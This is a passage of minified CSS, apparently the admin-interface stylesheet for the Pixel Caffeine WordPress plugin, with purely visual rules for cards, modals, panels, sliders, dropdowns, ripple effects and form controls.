(http://stackoverflow.com/a/6615994) ****/ display: inline-block; position: relative; width: 100%; /**************************************************************************/ border-radius: 4px; color: rgba(0,0,0, 0.87); background: #fff; -webkit-box-shadow: 0 8px 17px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); box-shadow: 0 8px 17px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); } .pixel-caffeine-wrapper .card .card-height-indicator { margin-top: 100%; } .pixel-caffeine-wrapper .card .card-content { position: absolute; top: 0; bottom: 0; left: 0; right: 0; } .pixel-caffeine-wrapper .card .card-image { height: 60%; position: relative; overflow: hidden; } .pixel-caffeine-wrapper .card .card-image img { width: 100%; height: 100%; border-top-left-radius: 2px; border-top-right-radius: 2px; pointer-events: none; } .pixel-caffeine-wrapper .card .card-image .card-image-headline { position: absolute; bottom: 16px; left: 18px; color: #fff; font-size: 2em; } .pixel-caffeine-wrapper .card .card-body { height: 30%; padding: 18px; } .pixel-caffeine-wrapper .card .card-footer { height: 10%; padding: 18px; } .pixel-caffeine-wrapper .card .card-footer button, .pixel-caffeine-wrapper .card .card-footer a { margin: 0 !important; position: relative; bottom: 25px; width: auto; } .pixel-caffeine-wrapper .card .card-footer button:first-child, .pixel-caffeine-wrapper .card .card-footer a:first-child { left: -15px; } .pixel-caffeine-wrapper .modal-content { -webkit-box-shadow: 0 27px 24px 0 rgba(0, 0, 0, 0.2), 0 40px 77px 0 rgba(0, 0, 0, 0.22); box-shadow: 0 27px 24px 0 rgba(0, 0, 0, 0.2), 0 40px 77px 0 rgba(0, 0, 0, 0.22); border-radius: 4px; border: none; } .pixel-caffeine-wrapper .modal-content .modal-header { border-bottom: none; padding-top: 24px; padding-right: 24px; padding-bottom: 0; padding-left: 24px; } .pixel-caffeine-wrapper .modal-content .modal-body { padding-top: 24px; padding-right: 24px; padding-bottom: 16px; padding-left: 24px; } .pixel-caffeine-wrapper .modal-content .modal-footer { border-top: none; padding: 7px; } .pixel-caffeine-wrapper .modal-content .modal-footer button { margin: 0; padding-left: 16px; padding-right: 16px; width: auto; } .pixel-caffeine-wrapper .modal-content .modal-footer button.pull-left { padding-left: 5px; padding-right: 5px; position: relative; left: -5px; } .pixel-caffeine-wrapper .modal-content .modal-footer button + button { margin-bottom: 16px; } .pixel-caffeine-wrapper .modal-content .modal-body + .modal-footer { padding-top: 0; } .pixel-caffeine-wrapper .modal-backdrop { background: rgba(0, 0, 0, 0.3); } .pixel-caffeine-wrapper .panel { border-radius: 2px; border: 0; -webkit-box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); } .pixel-caffeine-wrapper .panel > .panel-heading, .pixel-caffeine-wrapper .panel.panel-default > .panel-heading { background-color: #eeeeee; } .pixel-caffeine-wrapper .panel.panel-inverse > .panel-heading { background-color: #3f51b5; } .pixel-caffeine-wrapper .panel.panel-primary > .panel-heading { background-color: #4C70BA; } .pixel-caffeine-wrapper .panel.panel-success > .panel-heading { background-color: #68AA20; } .pixel-caffeine-wrapper .panel.panel-info > .panel-heading { background-color: #5bc0de; } .pixel-caffeine-wrapper .panel.panel-warning > .panel-heading { background-color: #FD9C00; } .pixel-caffeine-wrapper .panel.panel-danger > .panel-heading { background-color: #E15667; } .pixel-caffeine-wrapper [class*=panel-] > .panel-heading { color: rgba(255,255,255, 0.84); border: 0; } .pixel-caffeine-wrapper .panel-default > .panel-heading, .pixel-caffeine-wrapper .panel:not([class*=panel-]) > .panel-heading { color: rgba(0,0,0, 0.87); } .pixel-caffeine-wrapper .panel-footer { background-color: #eeeeee; } .pixel-caffeine-wrapper hr.on-dark { color: #5e5e5e; } .pixel-caffeine-wrapper hr.on-light { color: white; } @media (-webkit-min-device-pixel-ratio: 0.75), (-o-device-pixel-ratio: 3/4), (min-device-pixel-ratio: 0.75), (-o-min-device-pixel-ratio: 3/4), (min-resolution: 0.75dppx), (-webkit-min-device-pixel-ratio: 1.25), (-o-min-device-pixel-ratio: 5/4), (min-resolution: 120dpi) { .pixel-caffeine-wrapper hr { height: 0.75px; } } @media (-webkit-min-device-pixel-ratio: 1), (-o-device-pixel-ratio: 1), (min-device-pixel-ratio: 1), (-o-min-device-pixel-ratio: 1/1), (min-resolution: 1dppx), (-webkit-min-device-pixel-ratio: 1.6666666666666667), (-o-min-device-pixel-ratio: 5/3), (min-resolution: 160dpi) { .pixel-caffeine-wrapper hr { height: 1px; } } @media (-webkit-min-device-pixel-ratio: 1.33), (-o-device-pixel-ratio: 133/100), (min-device-pixel-ratio: 1.33), (-o-min-device-pixel-ratio: 133/100), (min-resolution: 1.33dppx), (-webkit-min-device-pixel-ratio: 2.21875), (-o-min-device-pixel-ratio: 71/32), (min-resolution: 213dpi) { .pixel-caffeine-wrapper hr { height: 1.333px; } } @media (-webkit-min-device-pixel-ratio: 1.5), (-o-device-pixel-ratio: 3/2), (min-device-pixel-ratio: 1.5), (-o-min-device-pixel-ratio: 3/2), (min-resolution: 1.5dppx), (-webkit-min-device-pixel-ratio: 2.5), (-o-min-device-pixel-ratio: 5/2), (min-resolution: 240dpi) { .pixel-caffeine-wrapper hr { height: 1.5px; } } @media (-webkit-min-device-pixel-ratio: 2), (-o-device-pixel-ratio: 2/1), (min-device-pixel-ratio: 2), (-o-min-device-pixel-ratio: 2/1), (min-resolution: 2dppx), (-webkit-min-device-pixel-ratio: 3.9583333333333335), (-o-min-device-pixel-ratio: 95/24), (min-resolution: 380dpi) { .pixel-caffeine-wrapper hr { height: 2px; } } @media (-webkit-min-device-pixel-ratio: 3), (-o-device-pixel-ratio: 3/1), (min-device-pixel-ratio: 3), (-o-min-device-pixel-ratio: 3/1), (min-resolution: 3dppx), (-webkit-min-device-pixel-ratio: 5), (-o-min-device-pixel-ratio: 5/1), (min-resolution: 480dpi) { .pixel-caffeine-wrapper hr { height: 3px; } } @media (-webkit-min-device-pixel-ratio: 4), (-o-device-pixel-ratio: 4/1), (min-device-pixel-ratio: 3), (-o-min-device-pixel-ratio: 4/1), (min-resolution: 4dppx), (-webkit-min-device-pixel-ratio: 6.666666666666667), (-o-min-device-pixel-ratio: 20/3), (min-resolution: 640dpi) { .pixel-caffeine-wrapper hr { height: 4px; } } .pixel-caffeine-wrapper * { -webkit-tap-highlight-color: rgba(255, 255, 255, 0); -webkit-tap-highlight-color: transparent; } .pixel-caffeine-wrapper *:focus { outline: 0; } .pixel-caffeine-wrapper .snackbar { background-color: #323232; color: rgba(255,255,255, 0.84); font-size: 14px; border-radius: 4px; -webkit-box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); height: 0; -webkit-transition: opacity 0.2s ease-in, height 0s linear 0.2s, padding 0s linear 0.2s, height 0s linear 0.2s, -webkit-transform 0.2s ease-in-out; transition: opacity 0.2s ease-in, height 0s linear 0.2s, padding 0s linear 0.2s, height 0s linear 0.2s, -webkit-transform 0.2s ease-in-out; -o-transition: opacity 0.2s ease-in, height 0s linear 0.2s, padding 0s linear 0.2s, height 0s linear 0.2s, -o-transform 0.2s ease-in-out; transition: transform 0.2s ease-in-out, opacity 0.2s ease-in, height 0s linear 0.2s, padding 0s linear 0.2s, height 0s linear 0.2s; transition: transform 0.2s ease-in-out, opacity 0.2s ease-in, height 0s linear 0.2s, padding 0s linear 0.2s, height 0s linear 0.2s, -webkit-transform 0.2s ease-in-out, -o-transform 0.2s ease-in-out; -webkit-transform: translateY(200%); -o-transform: translateY(200%); transform: translateY(200%); } .pixel-caffeine-wrapper .snackbar.snackbar-opened { padding: 14px 15px; margin-bottom: 20px; height: auto; -webkit-transition: opacity 0.2s ease-in, height 0s linear 0.2s, height 0s linear 0.2s, -webkit-transform 0.2s ease-in-out; transition: opacity 0.2s ease-in, height 0s linear 0.2s, height 0s linear 0.2s, -webkit-transform 0.2s ease-in-out; -o-transition: opacity 0.2s ease-in, height 0s linear 0.2s, height 0s linear 0.2s, -o-transform 0.2s ease-in-out; transition: transform 0.2s ease-in-out, opacity 0.2s ease-in, height 0s linear 0.2s, height 0s linear 0.2s; transition: transform 0.2s ease-in-out, opacity 0.2s ease-in, height 0s linear 0.2s, height 0s linear 0.2s, -webkit-transform 0.2s ease-in-out, -o-transform 0.2s ease-in-out; -webkit-transform: none; -o-transform: none; transform: none; } .pixel-caffeine-wrapper .snackbar.toast { border-radius: 200px; } .pixel-caffeine-wrapper .noUi-target, .pixel-caffeine-wrapper .noUi-target * { -webkit-touch-callout: none; -ms-touch-action: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; -webkit-box-sizing: border-box; box-sizing: border-box; } .pixel-caffeine-wrapper .noUi-base { width: 100%; height: 100%; position: relative; } .pixel-caffeine-wrapper .noUi-origin { position: absolute; right: 0; top: 0; left: 0; bottom: 0; } .pixel-caffeine-wrapper .noUi-handle { position: relative; z-index: 1; -webkit-box-sizing: border-box; box-sizing: border-box; } .pixel-caffeine-wrapper .noUi-stacking .noUi-handle { z-index: 10; } .pixel-caffeine-wrapper .noUi-state-tap .noUi-origin { -webkit-transition: left 0.3s, top 0.3s; -o-transition: left 0.3s, top 0.3s; transition: left 0.3s, top 0.3s; } .pixel-caffeine-wrapper .noUi-state-drag * { cursor: inherit !important; } .pixel-caffeine-wrapper .noUi-horizontal { height: 10px; } .pixel-caffeine-wrapper .noUi-handle { -webkit-box-sizing: border-box; box-sizing: border-box; width: 12px; height: 12px; left: -10px; top: -5px; cursor: ew-resize; border-radius: 100%; -webkit-transition: all 0.2s ease-out; -o-transition: all 0.2s ease-out; transition: all 0.2s ease-out; border: 1px solid; } .pixel-caffeine-wrapper .noUi-vertical .noUi-handle { margin-left: 5px; cursor: ns-resize; } .pixel-caffeine-wrapper .noUi-horizontal.noUi-extended { padding: 0 15px; } .pixel-caffeine-wrapper .noUi-horizontal.noUi-extended .noUi-origin { right: -15px; } .pixel-caffeine-wrapper .noUi-background { height: 2px; margin: 20px 0; } .pixel-caffeine-wrapper .noUi-origin { margin: 0; border-radius: 0; height: 2px; background: #c8c8c8; } .pixel-caffeine-wrapper .noUi-origin[style^="left: 0"] .noUi-handle { background-color: #fff; border: 2px solid #c8c8c8; } .pixel-caffeine-wrapper .noUi-origin[style^="left: 0"] .noUi-handle.noUi-active { border-width: 1px; } .pixel-caffeine-wrapper .noUi-target { border-radius: 4px; } .pixel-caffeine-wrapper .noUi-horizontal { height: 2px; margin: 15px 0; } .pixel-caffeine-wrapper .noUi-vertical { height: 100%; width: 2px; margin: 0 15px; display: inline-block; } .pixel-caffeine-wrapper .noUi-handle.noUi-active { -webkit-transform: scale3d(2.5, 2.5, 1); transform: scale3d(2.5, 2.5, 1); } .pixel-caffeine-wrapper [disabled].noUi-slider { opacity: 0.5; } .pixel-caffeine-wrapper [disabled] .noUi-handle { cursor: not-allowed; } .pixel-caffeine-wrapper .slider { background: #c8c8c8; } .pixel-caffeine-wrapper .slider.noUi-connect, .pixel-caffeine-wrapper .slider.slider-default.noUi-connect { background-color: #4C70BA; } .pixel-caffeine-wrapper .slider.slider-inverse.noUi-connect { background-color: #3f51b5; } .pixel-caffeine-wrapper .slider.slider-primary.noUi-connect { background-color: #4C70BA; } .pixel-caffeine-wrapper .slider.slider-success.noUi-connect { background-color: #68AA20; } .pixel-caffeine-wrapper .slider.slider-info.noUi-connect { background-color: #5bc0de; } .pixel-caffeine-wrapper .slider.slider-warning.noUi-connect { background-color: #FD9C00; } .pixel-caffeine-wrapper .slider.slider-danger.noUi-connect { background-color: #E15667; } .pixel-caffeine-wrapper .slider .noUi-connect, .pixel-caffeine-wrapper .slider.slider-default .noUi-connect { background-color: #4C70BA; } .pixel-caffeine-wrapper .slider.slider-inverse .noUi-connect { background-color: #3f51b5; } .pixel-caffeine-wrapper .slider.slider-primary .noUi-connect { background-color: #4C70BA; } .pixel-caffeine-wrapper .slider.slider-success .noUi-connect { background-color: #68AA20; } .pixel-caffeine-wrapper .slider.slider-info .noUi-connect { background-color: #5bc0de; } .pixel-caffeine-wrapper .slider.slider-warning .noUi-connect { background-color: #FD9C00; } .pixel-caffeine-wrapper .slider.slider-danger .noUi-connect { background-color: #E15667; } .pixel-caffeine-wrapper .slider .noUi-handle, .pixel-caffeine-wrapper .slider.slider-default .noUi-handle { background-color: #4C70BA; } .pixel-caffeine-wrapper .slider.slider-inverse .noUi-handle { background-color: #3f51b5; } .pixel-caffeine-wrapper .slider.slider-primary .noUi-handle { background-color: #4C70BA; } .pixel-caffeine-wrapper .slider.slider-success .noUi-handle { background-color: #68AA20; } .pixel-caffeine-wrapper .slider.slider-info .noUi-handle { background-color: #5bc0de; } .pixel-caffeine-wrapper .slider.slider-warning .noUi-handle { background-color: #FD9C00; } .pixel-caffeine-wrapper .slider.slider-danger .noUi-handle { background-color: #E15667; } .pixel-caffeine-wrapper .slider .noUi-handle, .pixel-caffeine-wrapper .slider.slider-default .noUi-handle { border-color: #4C70BA; } .pixel-caffeine-wrapper .slider.slider-inverse .noUi-handle { border-color: #3f51b5; } .pixel-caffeine-wrapper .slider.slider-primary .noUi-handle { border-color: #4C70BA; } .pixel-caffeine-wrapper .slider.slider-success .noUi-handle { border-color: #68AA20; } .pixel-caffeine-wrapper .slider.slider-info .noUi-handle { border-color: #5bc0de; } .pixel-caffeine-wrapper .slider.slider-warning .noUi-handle { border-color: #FD9C00; } .pixel-caffeine-wrapper .slider.slider-danger .noUi-handle { border-color: #E15667; } .pixel-caffeine-wrapper .selectize-control.single, .pixel-caffeine-wrapper .selectize-control.multi { padding: 0; } .pixel-caffeine-wrapper .selectize-control.single .selectize-input, .pixel-caffeine-wrapper .selectize-control.single .selectize-input.input-active, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input.input-active { cursor: text; background: transparent; -webkit-box-shadow: none; box-shadow: none; border: 0; padding: 0; height: 100%; font-size: 14px; line-height: 30px; } .pixel-caffeine-wrapper .selectize-control.single .selectize-input .has-items, .pixel-caffeine-wrapper .selectize-control.single .selectize-input.input-active .has-items, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input .has-items, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input.input-active .has-items { padding: 0; } .pixel-caffeine-wrapper .selectize-control.single .selectize-input:after, .pixel-caffeine-wrapper .selectize-control.single .selectize-input.input-active:after, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input:after, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input.input-active:after { right: 5px; position: absolute; font-size: 25px; content: ""; font-family: "Material Icons"; speak: none; font-style: normal; font-weight: normal; -webkit-font-feature-settings: normal; font-feature-settings: normal; font-variant: normal; text-transform: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .pixel-caffeine-wrapper .selectize-control.single .selectize-input input, .pixel-caffeine-wrapper .selectize-control.single .selectize-input.input-active input, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input input, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input.input-active input { font-size: 14px; outline: 0; border: 0; background: transparent; } .pixel-caffeine-wrapper .selectize-control.single .selectize-input.label-floating-fix input, .pixel-caffeine-wrapper .selectize-control.single .selectize-input.input-active.label-floating-fix input, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input.label-floating-fix input, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input.input-active.label-floating-fix input { opacity: 0; } .pixel-caffeine-wrapper .selectize-control.single .selectize-input > div, .pixel-caffeine-wrapper .selectize-control.single .selectize-input > .item, .pixel-caffeine-wrapper .selectize-control.single .selectize-input.input-active > div, .pixel-caffeine-wrapper .selectize-control.single .selectize-input.input-active > .item, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input > div, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input > .item, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input.input-active > div, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input.input-active > .item { display: inline-block; margin: 0 8px 3px 0; padding: 0; background: transparent; border: 0; } .pixel-caffeine-wrapper .selectize-control.single .selectize-input > div:after, .pixel-caffeine-wrapper .selectize-control.single .selectize-input > .item:after, .pixel-caffeine-wrapper .selectize-control.single .selectize-input.input-active > div:after, .pixel-caffeine-wrapper .selectize-control.single .selectize-input.input-active > .item:after, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input > div:after, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input > .item:after, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input.input-active > div:after, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input.input-active > .item:after { content: ","; } .pixel-caffeine-wrapper .selectize-control.single .selectize-input > div:last-of-type:after, .pixel-caffeine-wrapper .selectize-control.single .selectize-input > .item:last-of-type:after, .pixel-caffeine-wrapper .selectize-control.single .selectize-input.input-active > div:last-of-type:after, .pixel-caffeine-wrapper .selectize-control.single .selectize-input.input-active > .item:last-of-type:after, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input > div:last-of-type:after, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input > .item:last-of-type:after, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input.input-active > div:last-of-type:after, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input.input-active > .item:last-of-type:after { content: ""; } .pixel-caffeine-wrapper .selectize-control.single .selectize-input > div.active, .pixel-caffeine-wrapper .selectize-control.single .selectize-input > .item.active, .pixel-caffeine-wrapper .selectize-control.single .selectize-input.input-active > div.active, .pixel-caffeine-wrapper .selectize-control.single .selectize-input.input-active > .item.active, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input > div.active, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input > .item.active, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input.input-active > div.active, .pixel-caffeine-wrapper .selectize-control.multi .selectize-input.input-active > .item.active { font-weight: bold; background: transparent; border: 0; } .pixel-caffeine-wrapper .selectize-control.single .selectize-dropdown, .pixel-caffeine-wrapper .selectize-control.multi .selectize-dropdown { position: absolute; z-index: 1000; border: 0; width: 100% !important; left: 0 !important; height: auto; background-color: #FFF; -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); border-radius: 4px; padding: 0; margin-top: 3px; } .pixel-caffeine-wrapper .selectize-control.single .selectize-dropdown .active, .pixel-caffeine-wrapper .selectize-control.multi .selectize-dropdown .active { background-color: inherit; } .pixel-caffeine-wrapper .selectize-control.single .selectize-dropdown .highlight, .pixel-caffeine-wrapper .selectize-control.multi .selectize-dropdown .highlight { background-color: #d5d8ff; } .pixel-caffeine-wrapper .selectize-control.single .selectize-dropdown .selected, .pixel-caffeine-wrapper .selectize-control.single .selectize-dropdown .selected.active, .pixel-caffeine-wrapper .selectize-control.multi .selectize-dropdown .selected, .pixel-caffeine-wrapper .selectize-control.multi .selectize-dropdown .selected.active { background-color: #EEEEEE; } .pixel-caffeine-wrapper .selectize-control.single .selectize-dropdown [data-selectable], .pixel-caffeine-wrapper .selectize-control.single .selectize-dropdown .optgroup-header, .pixel-caffeine-wrapper .selectize-control.multi .selectize-dropdown [data-selectable], .pixel-caffeine-wrapper .selectize-control.multi .selectize-dropdown .optgroup-header { padding: 10px 20px; cursor: pointer; } .pixel-caffeine-wrapper .selectize-control.single .dropdown-active ~ .selectize-dropdown, .pixel-caffeine-wrapper .selectize-control.multi .dropdown-active ~ .selectize-dropdown { display: block; } .pixel-caffeine-wrapper .dropdownjs::after { right: 5px; top: 3px; font-size: 25px; position: absolute; font-family: "Material Icons"; font-style: normal; font-weight: 400; content: ""; pointer-events: none; color: #757575; } .pixel-caffeine-wrapper .withripple { position: relative; } .pixel-caffeine-wrapper .ripple-container { position: absolute; top: 0; left: 0; z-index: 1; width: 100%; height: 100%; overflow: hidden; border-radius: inherit; pointer-events: none; } .pixel-caffeine-wrapper .ripple { position: absolute; width: 20px; height: 20px; margin-left: -10px; margin-top: -10px; border-radius: 100%; background-color: #000; background-color: rgba(0, 0, 0, 0.05); -webkit-transform: scale(1); -o-transform: scale(1); transform: scale(1); -webkit-transform-origin: 50%; -o-transform-origin: 50%; transform-origin: 50%; opacity: 0; pointer-events: none; } .pixel-caffeine-wrapper .ripple.ripple-on { -webkit-transition: opacity 0.15s ease-in 0s, -webkit-transform 0.5s cubic-bezier(0.4, 0, 0.2, 1) 0.1s; transition: opacity 0.15s ease-in 0s, -webkit-transform 0.5s cubic-bezier(0.4, 0, 0.2, 1) 0.1s; -o-transition: opacity 0.15s ease-in 0s, -o-transform 0.5s cubic-bezier(0.4, 0, 0.2, 1) 0.1s; transition: opacity 0.15s ease-in 0s, transform 0.5s cubic-bezier(0.4, 0, 0.2, 1) 0.1s; transition: opacity 0.15s ease-in 0s, transform 0.5s cubic-bezier(0.4, 0, 0.2, 1) 0.1s, -webkit-transform 0.5s cubic-bezier(0.4, 0, 0.2, 1) 0.1s, -o-transform 0.5s cubic-bezier(0.4, 0, 0.2, 1) 0.1s; opacity: 0.1; } .pixel-caffeine-wrapper .ripple.ripple-out { -webkit-transition: opacity 0.1s linear 0s !important; -o-transition: opacity 0.1s linear 0s !important; transition: opacity 0.1s linear 0s !important; opacity: 0; } .pixel-caffeine-wrapper table { border-collapse: collapse; border-spacing: 0; } .pixel-caffeine-wrapper .material-icons { font-family: "Material Icons"; font-weight: normal; font-style: normal; font-size: 24px; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .wrap { background: transparent; } .pixel-caffeine-wrapper h1, .pixel-caffeine-wrapper h2, .pixel-caffeine-wrapper h3, .pixel-caffeine-wrapper h4, .pixel-caffeine-wrapper h5, .pixel-caffeine-wrapper h6 { font-weight: 700; } .pixel-caffeine-wrapper strong { font-weight: 600; } .pixel-caffeine-wrapper .actions .btn-fab { margin: 0 5px; } .pixel-caffeine-wrapper .actions .btn-fab.btn-mini { margin: 0 2px; } .pixel-caffeine-wrapper .wrap .page-title { margin-bottom: 10px; font-size: 28px; font-weight: 400; } .pixel-caffeine-wrapper .nav-tab:hover, .pixel-caffeine-wrapper .nav-tab:focus { background-color: #fff; color: #555555; } .pixel-caffeine-wrapper .nav-tab:hover, .pixel-caffeine-wrapper .nav-tab:focus, .pixel-caffeine-wrapper .nav-tab { color: #555555; text-decoration: none; } .pixel-caffeine-wrapper .nav-tab-active:hover, .pixel-caffeine-wrapper .nav-tab-active:focus, .pixel-caffeine-wrapper .nav-tab-active { border-bottom-color: #fafafa; color: #000; background: #fafafa; } .pixel-caffeine-wrapper .nav-tab-active, .pixel-caffeine-wrapper .plugin-sec { background: #fafafa; } .pixel-caffeine-wrapper .plugin-sec { padding: 30px; border: 1px solid #CCC; } .pixel-caffeine-wrapper .plugin-sec .plugin-sidebar { margin-top: 30px; } .pixel-caffeine-wrapper .plugin-sec .plugin-sidebar:before, .pixel-caffeine-wrapper .plugin-sec .plugin-sidebar:after { display: table; content: " "; } .pixel-caffeine-wrapper .plugin-sec .plugin-sidebar:after { clear: both; } .pixel-caffeine-wrapper .plugin-sec .plugin-sidebar-item { margin: 15px 0; } .pixel-caffeine-wrapper .plugin-sec .plugin-sidebar-item.fake-item .loading-msg { display: block; margin-bottom: 5px; } .pixel-caffeine-wrapper .plugin-sec .plugin-sidebar-item.fake-item .list-group .row-content { position: relative; min-height: 60px; background: url(placeholder-loading-news.png) no-repeat 0 0; background-size: 100% 100%; opacity: 0.3; } @media screen and (min-width: 1200px) { .pixel-caffeine-wrapper .plugin-sec .plugin-sidebar-item.fake-item .list-group .row-content::before { content: ""; position: absolute; top: 0; left: 0; display: block; width: 100%; height: 100%; -webkit-animation: placeholder-shimmer 1s linear forwards infinite; -o-animation: placeholder-shimmer 1s linear forwards infinite; animation: placeholder-shimmer 1s linear forwards infinite; background: #fafafa; background: -webkit-gradient(linear, left top, right top, color-stop(8%, transparent), color-stop(18%, #fafafa), color-stop(33%, transparent)); background: -webkit-linear-gradient(left, transparent 8%, #fafafa 18%, transparent 33%); background: -o-linear-gradient(left, transparent 8%, #fafafa 18%, transparent 33%); background: linear-gradient(to right, transparent 8%, #fafafa 18%, transparent 33%); background-size: 800px 104px; } } .pixel-caffeine-wrapper .plugin-sec .banner-wrap { float: left; width: 250px; margin: 0 30px 30px 0; -webkit-box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); } .pixel-caffeine-wrapper .plugin-sec .banner-wrap a { background: #fff; } .pixel-caffeine-wrapper .plugin-sec .banner-wrap a:hover img { opacity: 0.9; } .pixel-caffeine-wrapper .plugin-sec .banner-wrap a:active img { opacity: 1; } .pixel-caffeine-wrapper .plugin-sec .banner-wrap img { display: block; width: 100%; height: auto; border: 5px solid #fff; -webkit-transition: opacity 0.3s ease-out; -o-transition: opacity 0.3s ease-out; transition: opacity 0.3s ease-out; } @media screen and (min-width: 1200px) { .pixel-caffeine-wrapper .plugin-sec { display: -webkit-box; display: -ms-flexbox; display: flex; } .pixel-caffeine-wrapper .plugin-sec .plugin-content { width: calc(100% - 250px - 30px); margin-right: 30px; } .pixel-caffeine-wrapper .plugin-sec .plugin-sidebar { width: 250px; margin-top: 0; } } .pixel-caffeine-wrapper .sec-overlay { position: relative; } .pixel-caffeine-wrapper .sec-overlay::after { background: rgba(0, 0, 0, 0.3); content: ""; width: 100%; height: 100%; position: absolute; top: 0; left: 0; z-index: 1; } .pixel-caffeine-wrapper .sec-overlay .bumping { z-index: 2; -webkit-box-shadow: 0 0 8px rgba(0, 0, 0, 0.18), 0 8px 16px rgba(0, 0, 0, 0.36); box-shadow: 0 0 8px rgba(0, 0, 0, 0.18), 0 8px 16px rgba(0, 0, 0, 0.36); } .pixel-caffeine-wrapper .data-group { position: relative; } .pixel-caffeine-wrapper .data-group:before, .pixel-caffeine-wrapper .data-group:after { display: table; content: " "; } .pixel-caffeine-wrapper .data-group:after { clear: both; } .pixel-caffeine-wrapper .data-group .data { display: inline-block; margin-bottom: 5px; text-align: right; font-size: 14px; line-height: 1.428571429; color: #919191; font-weight: 400; } .pixel-caffeine-wrapper .data-group .value { font-size: 14px; } .pixel-caffeine-wrapper .data-group .value-info { display: inline-block; vertical-align: middle; } .pixel-caffeine-wrapper .form-group, .pixel-caffeine-wrapper .data-group { margin-left: 0; margin-right: 0; margin-top: 0px; padding-bottom: 8px; } .pixel-caffeine-wrapper .panel .data-group, .pixel-caffeine-wrapper .panel .form-group { margin-left: 0; margin-right: 0; } .pixel-caffeine-wrapper .text-status { display: inline-block; vertical-align: middle; font-size: 14px; } .pixel-caffeine-wrapper .text-status-pending { color: #FD9C00; } .pixel-caffeine-wrapper .control-wrap { font-size: 14px; } .pixel-caffeine-wrapper .form-group label.control-label { padding-top: 7px; padding-bottom: 7px; margin-top: 0; font-size: 14px; color: #919191; text-transform: none; } .pixel-caffeine-wrapper .form-group .checkbox label, .pixel-caffeine-wrapper .form-group .radio label { font-weight: 300; } .pixel-caffeine-wrapper .form-group .multiple-fields .form-group { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-align: center; -webkit-box-align: center; align-items: center; padding-bottom: 20px; } .pixel-caffeine-wrapper .form-group .multiple-fields .control-wrap { -webkit-box-flex: 1 1 auto; -ms-flex: 1 1 auto; flex: 1 1 auto; padding-left: 0; } .pixel-caffeine-wrapper .form-group .multiple-fields .control-wrap .form-control { margin-bottom: 0; } .pixel-caffeine-wrapper .form-group .multiple-fields .control-wrap + .control-wrap { padding-left: 15px; } .pixel-caffeine-wrapper .form-group .help-block { position: relative; display: inherit; } .pixel-caffeine-wrapper .form-group.has-error .form-control, .pixel-caffeine-wrapper .form-group.has-error .select2-container .select2-choice, .pixel-caffeine-wrapper .form-group.has-error .select2-container .select2-choices { background-color: #fceeef; } .pixel-caffeine-wrapper .form-group.has-error .text, .pixel-caffeine-wrapper .form-group.has-error .select2-chosen { color: #E15667; } .pixel-caffeine-wrapper .form-group .form-control[disabled] { background-color: #f6f6f6; color: #BDBDBD; } .pixel-caffeine-wrapper .form-group .checkbox label, .pixel-caffeine-wrapper .form-group .radio label, .pixel-caffeine-wrapper .form-group.is-focused .checkbox label, .pixel-caffeine-wrapper .form-group.is-focused .radio label { color: #444; font-weight: 400; } .pixel-caffeine-wrapper .form-group.is-focused .checkbox label:hover, .pixel-caffeine-wrapper .form-group.is-focused .checkbox label:focus, .pixel-caffeine-wrapper .form-group.is-focused label.checkbox-inline:hover, .pixel-caffeine-wrapper .form-group.is-focused label.checkbox-inline:focus { color: #444; } .pixel-caffeine-wrapper .form-group .help-block-error, .pixel-caffeine-wrapper .form-group.is-focused .help-block-error { display: none; } .pixel-caffeine-wrapper .form-group.has-error .help-block-error { display: block; } .pixel-caffeine-wrapper .radio label, .pixel-caffeine-wrapper label.radio-inline { padding-left: 32px; } .pixel-caffeine-wrapper .checkbox { position: relative; padding-left: 30px; } .pixel-caffeine-wrapper .checkbox .checkbox-material { position: absolute; top: 0; left: 0; width: 20px; height: 20px; } .pixel-caffeine-wrapper .checkbox 